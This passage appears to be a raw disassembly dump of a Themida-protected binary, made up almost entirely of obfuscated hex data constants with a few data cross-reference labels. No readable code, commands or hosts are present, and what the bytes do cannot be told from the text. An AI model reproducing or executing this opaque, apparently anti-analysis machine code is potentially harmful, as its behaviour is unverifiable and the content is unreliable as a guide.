860F05E2h, 7, 1880Fh, 66F90000h, 158D0FADh, 0E9000000h dd 10h, 721D8F40h, 0E1B23C91h, 80152623h, 82D2E350h, 0F02E0C1h dd 688h, 9958900h, 305E21Dh, 0E20C6985h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0C06BCFEFh, 9E916B1h, 0CC000000h, 0BC208ECFh, 0ACB3AFE2h dd 598D8996h, 0E905E213h, 14h, 55904AF2h, 92C84BF3h, 64EF0EA2h dd 0C8790131h, 28B634C0h, 1880FADh, 0F9000000h, 24247C81h dd 10000000h, 0F5870Fh, 0BD890000h, 5E22619h, 0BE990h dd 79140000h, 15E8E865h, 0B9CFAD92h, 14E950B6h, 8B000000h dd 942A4A4Ch, 70D08E3Fh, 8E1A76EFh, 5B652A45h, 904F930Ch dd 1F998531h, 0F6005E2h, 38Ah, 0C9B70F00h, 61FA8B66h, 2824448Bh dd 525090F9h, 665E5160h, 611BDDBFh, 860F310Fh, 6, 310F5250h dd 585A585Ah, 12E950h, 94E10000h, 0E3477A0Ch, 0F5896E7Bh dd 5475DF2Fh, 0FEDB1059h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 1E4C7FB3h dd 8DEFBCDBh, 0E554A785h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 60EF801Ah dd 2189B533h, 810F05E2h, 6, 1775958Bh, 0F96105E2h, 14E9D0FFh dd 0FE000000h, 0FA92707Dh, 7692347Ch, 27DF91E7h, 2FD4693Ah dd 3B0DFC4h, 6A242444h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0B5D1C356h, 9C65F51Fh dd 0F533D67Dh, 1C244489h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 67C35545h, 0C233F35Dh, 59BD8918h, 0C605E22Bh dd 0E20A4985h, 85C70005h, 5E57BD4h, 0 dd 7A3885C7h, 5E5h, 0BB600000h, 26DBA9F1h, 17A98589h, 6A6105E2h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 8496C353h, 0D5A6953Dh, 16A967Ah, 0E213D58Dh dd 6A6105h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 9D2976C3h, 5E21131h, 6A0008C2h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0ACCFC352h, 43809EE5h, 19860F40h, 0F000000h, 1389h dd 0EE900h, 7F250000h, 178BE8CEh, 4ABF12FCh, 0C04FBCBBh dd 2AE19D29h, 858B05E2h, 5E20C69h, 7810Fh, 830F0000h, 1 dd 95894AF8h, 5E20C91h, 6A04D26Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0A61C355h dd 8B607AB5h, 0E20CB9BDh, 5E805h, 3A680000h, 805E5454h dd 615983E6h, 6AC203h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 8B5DEFC3h, 6096F9EAh, 2F959D03h dd 0B52B05E2h, 5E20D31h, 0F60AD61h, 0B523D3BFh, 5E20499h dd 247C8161h, 24h, 3870F10h, 6A000001h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0F4E4C353h dd 8901716Ch, 0E217F99Dh, 840F5005h, 0Ch, 6830Fh, 8B0F0000h dd 0 dd 0E9240489h, 6, 0B83A747Bh, 448B92E5h, 6E92824h, 2B000000h dd 17432545h, 8E950A4h, 77000000h, 55B70F91h, 893A2940h dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0AD6136C3h, 11E9259Ch, 0E8000000h, 0AF9AB839h dd 0F92AE11Bh, 9133D8DCh, 789D6293h, 54A7858Dh, 800F05E5h dd 0Ch, 6880Fh, 0BD310000h, 5E21459h, 6AD0FFh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 668B89C3h, 4F82D914h, 95319236h, 5E20729h, 1B8A0FF5h dd 0F000000h, 158Ah, 10E900h, 0C7CF0000h, 0F3D7522Ch, 5B24E14Dh dd 3EF53EADh, 48E9168Dh, 6AFFFFFDh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 2E42C356h dd 96952D5Ah, 57558C73h, 14E9h, 836800h, 0E0C321AFh, 0BC4EB95h dd 469F9982h, 73040624h, 9E858D7Ah, 0F05E58Eh, 138Eh, 0EE900h dd 0B8BE0000h, 0B92D3A9h, 532CB680h, 0FC1FE676h, 11E86050h dd 0AD000000h, 456FAC79h, 0B8641871h, 0EBA35E1Fh, 0F352109Ah dd 0E8585A53h, 10h, 0B144830Ch, 4C2658D2h, 448DD497h, 0F274D38Bh dd 800Fh, 61590000h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0B3C4C356h, 68D0Fh dd 0BD310000h, 5E22C19h, 7A5BD89h, 0FF6405E2h, 35h, 5E900h dd 693D0000h, 8B17D535h, 8B0F2404h, 19h, 14E9h, 7FF8D300h dd 7975623Bh, 0DB47E2A4h, 82235D97h, 62B61EC1h, 19858962h dd 6A05E233h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0FCBFC351h, 7C4BD77Ah, 0F6DB717h dd 68Dh, 0D8D3100h, 0F05E20Dh, 138Ah, 0EE900h, 7A950000h dd 82E10356h, 0DA105207h, 43E9D1AEh, 258964h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 4DA8C351h, 4313CEB8h, 0F891E3A5h, 8CD5858Dh dd 89FC05E5h, 0DE90160h, 36000000h, 96E534C5h, 3F333E43h dd 4E72A857h, 21DE9h, 14E900h, 86C30000h, 0EB36E62Fh, 8023BBEFh dd 9E2DE5Eh, 0D23F4847h, 0DB8BD4A6h, 0E8h, 0ED815D00h dd 5E58CCEh, 12FF9CBCh, 0EDBD8300h, 5E21Fh, 858B1874h dd 5E21F35h, 8B0000C6h, 0E2192D85h, 0C605h, 40595FFh, 0FF6005E2h dd 0E5763CB5h, 40858D05h, 5005E576h, 7838858Dh, 0FF5005E5h dd 0E22C2995h, 0CC48305h, 0E9858961h, 0F05E22Bh, 88Ah dd 2840F00h, 60000000h, 38B58D61h, 8905E578h, 0E231658Dh dd 0D9B58905h, 8D05E21Ch, 0E22D8DBDh, 7D9D2905h, 8005E204h dd 840F003Eh, 60h, 12E9h, 0A4D4F000h, 0E2BBD0DFh, 0F11B9F04h dd 0F6F63540h, 0A42A0331h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 3EC35141h, 0BC1859CCh, 9531EEBAh, 5E21905h dd 0FFFFB2E9h, 0F8E0FFFh, 0E9000000h, 0Ah, 0E771AC9h, 0C94E4FAAh dd 9589E78Dh, 5E22619h, 0B8h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 25884514h dd 85896068h, 5E20AFDh, 76C6E881h, 0F56148C3h, 19DDB589h dd 6AAA05E2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0C490C356h, 7879D19Eh, 38823843h dd 7B8h, 9DBD0900h, 0C705E21Fh, 0E2078185h, 105h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8D8D64D1h, 5E24C42h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 54C35343h, 85299830h, 5E231D1h, 6AE1FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 4DE792C3h, 1523FE2Dh, 29D9259Bh, 0E21EE5B5h db 5 byte_526B55 db 8Bh, 5Ch, 24h ; DATA XREF: Themida_:004EF7F4o dd 0E8550Ch, 5D000000h, 8EA8ED81h, 838B05E5h, 0B8h, 763C8589h dd 858D05E5h, 5E58CC7h, 0B88389h, 335D0000h, 6AC3C0h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 6F58C1C3h, 5142B8D1h, 880F8E8Bh, 19h, 14E9h, 0D6806B00h dd 37716A58h, 424733C6h, 0A863FC16h, 70E30EEEh, 5E918h dd 0A2160000h, 89498BAAh, 0E2117195h, 8E96005h, 48000000h dd 0FB5C15Bh, 8D5BEF0Bh, 0E590AB85h, 12E905h, 329A0000h dd 4E48F0B1h, 2F135AACh, 0AC9B96CDh, 0D8CB2411h, 840F6050h dd 3, 0E8F08B66h, 9, 4F7192B1h, 0F05386AFh, 0DE95Ah, 14DE0000h dd 6F40EBF1h, 0B820AA09h, 5FDE222Bh, 24048961h, 6810Fh dd 9D310000h, 5E21381h, 35FF64h, 60000000h, 378EC981h dd 64613CCEh, 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 36F9AC3h, 0BAF9F008h dd 108D0Fh, 0BE90000h, 71000000h, 284E6C3Bh, 0B84F44C1h dd 858D8620h, 5E59141h, 0DF8BF860h, 7E86061h, 0B6000000h dd 513C5E6Eh, 858B52BDh, 5E21D2Dh, 59958B5Fh, 6105E21Bh dd 60016089h, 0D3D38166h, 85C661EBh, 5E20A49h, 55BD894Fh dd 2905E20Eh, 0E2253585h, 387E6805h, 6660C051h, 0B866F08Bh dd 8161C47Bh, 4C542434h, 0BE93E99h, 0E2000000h, 4CF40401h dd 0F16AD8FDh, 0B5FFA0E1h, 5E216A1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 0E8C35040h, 0A7B25229h, 6E9h dd 0EEF49E00h, 8D9239E2h, 0E57A6185h, 0A1950905h, 0FF05E223h dd 818D29D0h, 8905E208h, 0E23245B5h, 0B6E905h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 970C1FC3h, 5C8B2A94h, 0E8550C24h, 0 dd 0B5ED815Dh, 8B05E590h, 0E2262D85h, 0A1858905h, 8B05E216h dd 0E2150D85h, 35858905h, 8B05E216h, 0E2118985h, 99858905h dd 0C605E22Fh, 0E20A4985h, 85C70005h, 5E57BD4h, 0 dd 9141858Dh, 838905E5h, 0B8h, 0C3C0335Dh, 12E9h, 0C017FF00h dd 2F2F05ADh, 5F0D68A9h, 32EBDB5h, 6A70AA79h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 65BBC350h, 1F9ECAC2h, 9589F5F5h, 5E21535h, 12FF74BCh dd 11890F00h, 60000000h, 6E8h, 0A1710C00h, 5985F53Fh, 61CAC880h dd 95895660h, 5E21C91h, 819D895Bh, 6105E218h, 58F64h, 1000000h dd 0E215C5B5h, 0C483F905h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 830F6A14h dd 1, 0BD8960FCh, 5E229ADh, 1D2DBD29h, 616105E2h, 7E8h dd 7F118900h, 36D3CD1Ah, 8B58F7B7h, 0E20B1995h, 0F7C08105h dd 8000005Eh, 0FF2B79D5h, 0FFCB8B66h, 0E9810734h, 5301186Dh dd 0D381665Eh, 0F68143BEh, 43716224h, 6860Fh, 958B0000h dd 5E208C1h, 1C39C681h, 0CBB92C98h, 815222E2h, 82783CEEh dd 20B96664h, 3834897Bh, 6E9h, 0EB87F300h, 0E88CC48Eh dd 0Bh, 6DC0D779h, 8E20302Ch, 3138DDB3h, 0E224919Dh, 0EF835A05h dd 0FF81F904h, 0FFFFA198h, 0FF95850Fh, 0F51FFFFh, 284h dd 59595100h, 12E8h, 87EB6E00h, 18F16353h, 8E456AE4h, 1BD1503Eh dd 8B7631F3h, 860F5ECEh, 6, 2AE9BD8Bh, 0C68105E2h, 616Fh dd 13919D89h, 54B805E2h, 8128A6F5h, 0A6DD1DE8h, 118D8B28h dd 0FF05E20Dh, 5E836h, 32D00000h, 601E42FFh, 972DE2B9h dd 5023BE3Fh, 5F6146C6h, 0CCCF815Ah, 8115D89Fh, 0A0495EF2h dd 15BD8924h, 8105E221h, 0B33A0C2h, 0D381661Dh, 0F281F0C2h dd 32CFE7FEh, 89DAB70Fh, 0DFDB8116h, 83083019h, 5F5604EEh dd 0F01E883h, 0FFFFAA85h, 0D9BF0FFFh, 464934EBh, 52474D53h dd 4B562020h, 20202044h, 4D562020h, 2020204Dh, 57562020h dd 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0) dd 0FDE90000h, 0E9000006h, 0Dh, 0C2E8FFD8h, 0CF723B6Fh dd 0C4576B54h, 9E96047h, 0A000000h, 4262D6CAh, 1E9144E3h dd 930F85C7h, 5E5h, 820F0000h, 9, 8202BF60h, 0DE8A671Ch dd 6AC68B61h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 3E10C356h, 0F45A9E2h, 5660D8B7h dd 14E9h, 9116E100h, 9C34B698h, 60D1922h, 0D0336993h, 0F38CF1AFh dd 8A0F5BD0h, 3, 61F1BF0Fh, 0EA84BB60h, 0DA8018AEh, 0E8C161DEh dd 1E8C0F10h, 0F000000h, 1882h, 13E900h, 82E90000h, 65E7FABFh dd 508EBFB6h, 0ABF06A01h, 0F882F68h, 0C8C166A4h, 0FF96008h dd 8961F2B7h, 0E5931385h, 6E905h, 58560000h, 0C1B440EAh dd 8CBC166h, 0CE9h, 8FCB4900h, 22F12DFEh, 1A7ED09Ch, 10810F06h dd 0E9000000h, 0Bh, 7C550BADh, 2E4DEEF9h, 834EA313h, 850F40FBh dd 45h, 0E7BD8DFCh, 6A05E592h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 7EEBC351h, 77EB7E83h dd 67BAE7F9h, 8B5160FCh, 0F86058FBh, 92E96161h, 0E9000001h dd 5, 0BA3A0E87h, 0DFB837Ch, 61850Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 87162FC3h, 0CB253DD4h, 4CF38060h, 612FE880h, 92EFBD8Dh dd 0CE905E5h, 0E000000h, 747CBA3Ah, 1B797235h, 0E90D1BDBh dd 0Fh, 418ACC01h, 69097C85h, 8B1FA19h, 0E9CF565Eh, 125h dd 1810Fh, 83FC0000h, 850F01FBh, 68h, 12E9h, 8A1B8200h dd 97FE3946h, 4E124506h, 0D6779F6h, 8D9E3E14h, 0E592F7BDh dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 0E9B9EF99h, 0D5h, 10E85660h, 45000000h dd 0F2D45655h, 8FAC99F1h, 0B375BCC9h, 5F4A06F2h, 9E95Fh dd 2E540000h, 0D0CA3434h, 613332BCh, 0F2AFB83h, 6D85h dd 13E900h, 2A260000h, 2C94C1D8h, 70CF6E29h, 53EC24D4h dd 0C207E36h, 0FFBD8DA6h, 6A05E592h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 748EC357h dd 5E9E84Fh, 0A9000000h, 0F63721DBh, 58E9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 4D6156E8h, 0FB83E8F7h, 46850F27h, 0E9000003h, 0Dh, 5960002Eh dd 0F2B25FD4h, 588218EFh, 7BD8D76h, 6005E593h, 0DE9h, 0EDEB3C00h dd 81687DA6h, 2CEF99Ch, 6CB62630h, 17BD8961h, 6005E593h dd 8166E2B1h, 610198D7h, 0F9C88C66h, 0AF50324h, 12850FC0h dd 6A000002h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 6CC9C353h, 8B1BB360h, 7E961DAh dd 0FD000000h, 1A56432Eh, 0B58D28EEh, 5E5997Ch, 0D0CE8160h dd 8B6B454Ch, 858B61C2h, 5E599D4h, 0AE9h, 835E7F00h, 6ADED69Eh dd 92D89347h, 6E860h, 948A0000h, 0A5340DFh, 310F5250h dd 575B585Ah, 850Fh, 61580000h, 60525050h, 310F5250h, 0F61585Ah dd 5B506031h, 7E9h, 4C467700h, 3AA788B7h, 92585A61h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0D0C35040h, 0B960F1BEh dd 61F2BB8Ch, 0F6185B2h, 1383h, 0EE900h, 78D0000h, 4C1943A7h dd 0D167DDF0h, 64A20060h, 244C010Fh, 55006AFEh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 9E902h, 2F410000h dd 481A606Bh, 5ADD8518h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0DEC35141h, 0C2833B2Ch, 52006A24h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 94C80DF3h, 8BCB8B60h, 820F61C1h, 8, 2840Fh, 61600000h dd 0FC728966h, 0CE9h, 4B10A900h, 0F8E15977h, 0F324B9CDh dd 10CEC168h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 7AC35242h, 0FE9h, 1369B300h, 58361564h, 750DCE4Ah dd 4DCE5FAh, 2728966h, 98C0Fh, 66600000h, 2591D381h, 0CD61F78Bh dd 18880F04h, 0E9000000h, 13h, 8895D7B4h, 6FF23215h, 847FBB2Bh dd 233A2194h, 0E9CF0631h, 11Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 62C35343h, 13E860h, 0A8540000h dd 70B744E9h, 745CFFECh, 0F145EF55h, 74BD6BCAh, 860FB4h dd 5B000000h, 0D4858B61h, 6A05E599h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 2BDFC350h dd 0DE9E88Bh, 0F5000000h, 0F2AC26B8h, 58317D19h, 0A096F0BFh dd 0CE9h, 0A8C12400h, 0F36D514Ch, 0C4CD4543h, 7CB58D85h dd 6A05E599h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 1C21C353h, 1370E46Eh, 0C8D0F1Dh dd 0E9000000h, 7, 962CCB38h, 8DCF0304h, 0E5540E85h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0B2BF0AB3h, 0D0FFC512h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 82C35141h, 0E6E05ECAh, 0E860D1D1h, 8 dd 737F00B3h, 0C778BD07h, 5EC8B70Fh, 8589F861h, 5E5930Fh dd 6A61F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0AD2131C3h, 858B825Ch, 5E5930Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0ACC35545h, 0EBC85ADBh dd 0F950D749h, 0AE9C3h, 86930000h, 0B586B97Fh, 470ACB2Eh dd 59506060h, 61F38B66h, 9E9h, 88E6700h, 0B020B215h, 60611AA6h dd 0BD83FCFCh, 5E599D4h, 27850F00h, 0F000000h, 18Bh, 85C7F800h dd 5E599D4h, 1013Fh, 10830Fh, 800F0000h, 0Ah, 5E9h, 87767200h dd 1AE9D674h, 0E9000000h, 7, 7766EC69h, 0E9999A8Ah, 9 dd 0B9C348CBh, 1A7B6F82h, 20CDD1h, 0B000000h, 8D3774C0h dd 0BD8B0C70h, 5E59317h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h dd 5E59313h, 7F34583Bh, 6BD38B15h, 0CA0304D2h, 8589018Bh dd 5E5930Fh, 8B04EBh, 8B61C5EBh, 0E5930F85h, 0FCF5CF05h dd 83E9C08Bh, 53000000h, 57565251h, 1C245C8Bh, 4D3B8166h dd 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h, 850F4550h dd 57h, 3785B8Bh, 8B1C245Ch, 74032473h, 8B561C24h, 738B207Bh dd 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh, 178B1C24h dd 20245403h, 8A04C783h, 74C08402h, 75033A08h, 0EB4243E8h dd 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh, 5F1C2444h dd 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh, 10E8h dd 6D78B300h, 15D8DE14h, 31321AC2h, 0F2A4C987h, 8880F21h dd 0F000000h, 28Eh, 5F585600h, 11E9h, 281D3D00h, 6A6D1EC6h dd 69CB23B4h, 3714A43Bh, 0C781DF73h, 5C69h, 0C38B6656h dd 16DC685Ah, 0CE80000h, 0CF000000h, 47F77213h, 0D2AFD96h dd 8BE1A619h, 0F5B58C2h, 0D80h, 8E900h, 3F2B0000h, 0DF3CEC9Fh dd 378B9E38h, 81C38B66h, 90BD7EEh, 0CBB70F58h, 4618EE81h dd 81F90C65h, 159B1AC6h, 6E875h, 8BD50000h, 0EE6834E2h dd 10E960h, 979D0000h, 0CE52EDDFh, 0A59968E5h, 625DE451h dd 0F18137F7h, 1947201Dh, 37895861h, 14E96060h, 0B5000000h dd 25AA1C3Dh, 0A415E232h, 7C867Eh, 15AC5FAEh, 61D8A6CEh dd 58D0Fh, 81660000h, 6113EFD3h, 584AEF81h, 8B10396h, 5846C781h dd 8B660396h, 1EB81C3h, 0F000000h, 0FFFF7585h, 8ACBB9FFh dd 48E90E3Fh, 50000001h, 54000000h, 58000000h, 5C000000h dd 60000000h, 64000000h, 68000000h, 6C000000h, 0B0000000h dd 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h, 0C4000000h dd 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h, 0D8000000h dd 0DC000000h, 0E0000000h, 0E4000000h, 0E8000000h, 0EC000000h dd 38h dup(0) dd 0C7000000h, 0EB005278h, 8D009B50h, 0E59BB085h, 0E5E98005h dd 9CF08589h, 9D0B05E5h, 5E20C85h, 443EB81h, 85C6178Eh dd 5E20A49h, 39BD8B54h, 6805E21Ah, 966FA1BCh, 369ABF66h dd 95243481h, 0F780DC9h, 586h, 0E9A7BA00h, 0B5FF44CFh dd 5E216A1h, 15159509h, 0BE905E2h, 0F9000000h, 3AC6D40h dd 0DD70CEF7h, 858D1EE7h, 5E57A61h, 2FB58D31h, 0D0FF05E2h dd 9CF48589h, 805205E5h, 0E95E74C9h, 47h, 5810Fh, 26BE0000h db 0C5h, 4Dh, 73h byte_527A37 db 56h ; DATA XREF: Themida_:004EE4D4o ; Themida_:004EE9A8o ... dd 9CF0B58Bh, 68905E5h, 9CF08583h, 5E0405E5h, 0B58D60C3h dd 5E59BB0h, 6A560FEBh, 0FF36FF00h, 0E59CF495h, 0C6835E05h dd 3E8304h, 0C361EC75h, 4598D89h, 0F8B905E2h, 8D770DA3h dd 0E59D9285h, 0DA8B6605h, 2D318589h, 0E5E905E2h, 10000000h dd 0DCFFEE4Dh, 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h dd 6D171E57h, 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh dd 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h dd 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h dd 0A7286020h, 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h dd 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h dd 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh dd 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h dd 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h dd 43F2FD54h, 5A5BBBC7h, 0C73E9h, 0A18F6800h, 50E905E5h dd 68FFFCE1h, 5E5A26Fh, 0FCE146E9h, 0A31468FFh, 3CE905E5h dd 68FFFCE1h, 5E5A3D9h, 0FCE132E9h, 0A44268FFh, 28E905E5h dd 68FFFCE1h, 5E5A4D6h, 0FCE11EE9h, 0A60D68FFh, 14E905E5h dd 68FFFCE1h, 5E5A717h, 0FCE10AE9h, 0A7E968FFh, 0E905E5h dd 68FFFCE1h, 5E5A8BBh, 0FCE0F6E9h, 0A98468FFh, 0ECE905E5h dd 46FFFCE0h, 0BB8E1490h, 0EE537F3Bh, 4938A6EAh, 0BF82088Eh dd 0DD6A703Eh, 2E746936h, 941AC1A0h, 0FDC13B0Eh, 216790D1h dd 0EF48B9A5h, 0F9FD266Eh, 6E3CFEA7h, 99D82369h, 45C95C62h dd 565485C4h, 3D258637h, 817A3D49h, 5A63E833h, 2BAEE217h dd 0F7B52265h, 450487BAh, 2331492h, 0DEFC18B9h, 0F564E4F7h dd 0CFA4A2B3h, 222F28FEh, 0B8BE1B0Eh, 4801FAA0h, 87F650C9h dd 0AA23FD65h, 0FA44A091h, 0A13A71F9h, 74FF0E65h, 68990583h dd 440F40E9h, 69C6F9FAh, 0A2E81150h, 0B7FDFCBFh, 0BFC6E754h dd 0FA445CD2h, 291D5FF9h, 60941CDDh, 0F95EC124h, 0F9FA4478h dd 2865D2A9h, 9C1ADFA2h, 0D46E7CEDh, 0CA644135h, 0B5A65145h dd 0AD36D04h, 0B1F7E063h, 0A2F0EB6Ah, 0D9DF185Bh, 0D0D60342h dd 0BEA800B5h, 0BA3C72C6h, 0E17B7CCAh, 434CF2ABh, 2B7A01Bh dd 58FA0188h, 0E0AE3461h, 3FE6EE2Dh, 4E082h, 0EFAEA400h dd 0EDA8A1EDh, 54319E15h, 7166E9F2h, 14B5342Bh, 0FC186423h dd 640F40E9h, 69C6FC18h, 2E3596EDh, 0F57432A7h, 214448B2h dd 447713B4h, 0B0F6E1DFh, 0B4ABE055h, 0FA054713h, 9AE15E01h dd 0FA4280BDh, 7947B2F9h, 743AA322h, 7665A411h, 4BF5DD28h dd 65E3057Bh, 0AC31E91h, 2B6A3FE7h, 55DAE3AFh, 46h, 3339AE69h dd 35C3748Bh, 0D17E3790h, 6ECB4AFDh, 0FC1814EDh, 337E4F24h dd 0FA7CA496h, 0E5007F01h, 0FA7CE79Ch, 6422D5F9h, 9319DE01h dd 0D3A3AB08h, 0E9DD1B6Dh, 0E6D86BA6h, 5483C23Fh, 25863756h dd 0F6F8h, 696EC200h, 6499D823h, 0B27FFD82h, 2B60A3D7h dd 9532B534h, 0FC1829A4h, 3425067Dh, 36FC1829h, 0EA5FFBC1h dd 1D5EADEBh, 377B61A0h, 3F4667D4h, 9E7DE374h, 2B4A5AF2h dd 1820CD8Eh, 0F22F04FCh, 2B7166E9h, 892E51D0h, 0FC1820C8h dd 0D6992219h, 0EC7F9B21h, 0FC182446h, 20276592h, 255718A1h dd 0B18EFC18h, 5ACF7228h, 5FFBE868h, 32A918B0h, 0BDC196Ch dd 0F6159344h, 31301439h, 0FA697EA8h, 3CDA9101h, 0F32163Bh dd 1FD99FAAh, 6397604h, 0D1312287h, 8BE0F7DFh, 0CD4CCF32h dd 0DFD1EB6Ch, 7C4D3AF7h, 0A66608F5h, 2D02412Eh, 0D3963C69h dd 0D81F642Ah, 0DBFE7E36h, 8F2E74Eh, 0F7E10000h, 0A25217B3h dd 5189F8E6h, 0F5E0414Dh, 0A5562BB7h, 9D44F31Fh, 0C9D5DB00h dd 97338178h, 7E6428D2h, 0C2C8CE0Bh, 1546E302h, 0CCF9FD18h dd 6D6E8541h, 11C6BB27h, 18410F8Bh, 60AF8B7Bh, 0EFF81C94h dd 297C40B8h, 57F077ACh, 1FAEAE7h, 7B3A413Eh, 0A9FCC038h dd 3D329B2Ch, 2EF9FAEAh, 7855DCA8h, 0D73FE666h, 0AFh, 23696EEBh dd 0E51659D8h, 66521D5h, 0C80D98D5h, 58B70FFh, 0B974302h dd 0DB627BF0h, 18BDD07Eh, 7B6120FCh, 2EAB9637h, 0DA1F6268h dd 773CADDCh, 0BD03F694h, 586CED6Eh, 7A5AF36Fh, 7608ED0Eh dd 0BA771EAFh, 0CF8EB195h, 0F827800Eh, 0FA97C75Fh, 0F5116E01h dd 0F6695DC2h, 1FC7C551h, 6D6DDC04h, 3275F421h, 6ADFFBC9h dd 7BC62371h, 6EFE7ECEh, 812381Bh, 0D7010000h, 827237D3h dd 31A99806h, 0D500616Dh, 8576CBD7h, 7D64933Fh, 0E9F5BB20h dd 0B7536198h, 1E8408F2h, 0E2E8AE2Bh, 352683E2h, 0ECF9FD1Bh dd 6D6E65A1h, 11C6BB27h, 6E410F8Bh, 59D82369h, 1DADE16h dd 0F713995Eh, 0A8B599D3h, 43028584h, 46F71694h, 0C39E1C65h dd 703101FAh, 97C9068Ah, 6422D796h, 279FFA43h, 6AEDFF03h dd 0B2C78CCDh, 78F95EF8h, 0A9F8B2C7h, 0EEFFB4D2h, 25240815h dd 50B14E84h, 738AE105h, 0B2B59986h, 72A6F915h, 245B100Bh dd 0A8367465h, 1D9A20D9h, 0F9D41CBEh, 6D79D8ADh, 7A000007h dd 0AF92387Ch, 2676327h, 7DCCCAD6h, 0D3963C7Ah, 0C17E642Ah dd 52609D22h, 0B806F5B4h, 0E1AD2F12h, 555384E5h, 0DB7C8549h dd 0F9FD1A9Ah, 6E00CA4Bh, 0EFD82369h, 58DB4E62h, 0FC4DBFCFh dd 7B4CDC87h, 0FA99A012h, 5047301h, 233A2C94h, 2E51D766h dd 0FAB5C889h, 992219F9h, 6145CA8Dh, 547D59FEh, 0DF94041Ch dd 0AAF0E9A8h, 1E9C5D2Ch, 0E4FE86Bh, 0CAF7DF12h, 0C2FF86CCh dd 0AA818DF6h, 